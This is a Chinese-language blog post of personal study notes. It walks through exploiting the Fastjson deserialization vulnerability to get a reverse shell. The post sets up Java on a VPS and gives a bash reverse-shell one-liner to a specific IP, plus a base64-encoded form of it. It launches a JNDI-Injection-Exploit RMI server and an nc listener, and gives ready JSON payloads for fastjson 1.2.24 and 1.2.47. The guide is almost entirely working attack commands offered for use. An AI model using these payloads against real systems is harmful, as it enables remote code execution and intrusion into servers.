A-A+

Fastjson 反序列化漏洞反弹Shell详细步骤

2021年10月11日 19:55 学习笔记 暂无评论 共1954字 (阅读15 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

首先你必须要有一个VPS或者能开放指定端口到互联网的服务器。然后必须具备JAVA环境。
安装java环境方式如下:
一、首先卸载OpenJDK

# 查看安装的OpenJDK包
dpkg --list | grep -i jdk
# 卸载OpenJDK相关包
apt-get purge openjdk-*
# 检查所有 OpenJDK包是否都已卸载完毕
dpkg --list | grep -i jdk

二、安装java
下载地址:https://github.com/frekele/oracle-java/releases

##下载 jdk-8u212-linux-x64.tar.gz
wget https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

# 将压缩包放到/opt/java目录下
mv jdk-8u212-linux-x64.tar.gz /opt/java

# 解压
tar -zxvf jdk-8u212-linux-x64.tar.gz

# 配置环境变量
修改/etc/profile文件
vim /etc/profile
在文末追加如下信息
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre  
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}

# 使java环境生效
source /etc/profile

# 查看是否安装成功 
java -version

下一步准备反弹shell命令制作

images

如图中命令,为了方便大家我已经把命令复制到下面,指需要把IP换成你VPS的IP,然后端口换成你自己可以开放的端口就可以。

bash -i >& /dev/tcp/这里是你VPS的IP地址/这里是端口prot 0>&1
##示例:bash -i >& /dev/tcp/154.209.71.16/8550 0>&1

然后在上面的更改完后的命令,还需要进入这个https://woj.app/jjm/ 地址做一下更改
##在框中输入命令然后点击“Base”,如下图:

java命令执行payloads

下一步建立rmi服务器,工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

##起rmi服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "加密后的反弹shell命令" -A "起rmi服务器的vps ip"

##示例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTQuMjA5LjYxLjE2Lzg1NTAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "154.209.16.16"

images

备注:我是用公网vps上的docker气的vulhub,rmi服务器也是用同一台vps起的,所以看ip可能有点迷糊

下一步:公网vps起监听

nc -lvp 8550

最后一步就是发送攻击数据包:

##fastjson 1.2.24 
##注意替换dataSourceName为你的rmi服务器生成的地址
{
    
    "b":{
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://154.209.16.16:1099/lpgedi",
        "autoCommit":true
    }
}

##fastjson 1.2.47  小于这个版本的用下面的
{
    
    "a":{
    
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/test",
        "autoCommit":true
    }
}

最终成功截图

images

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言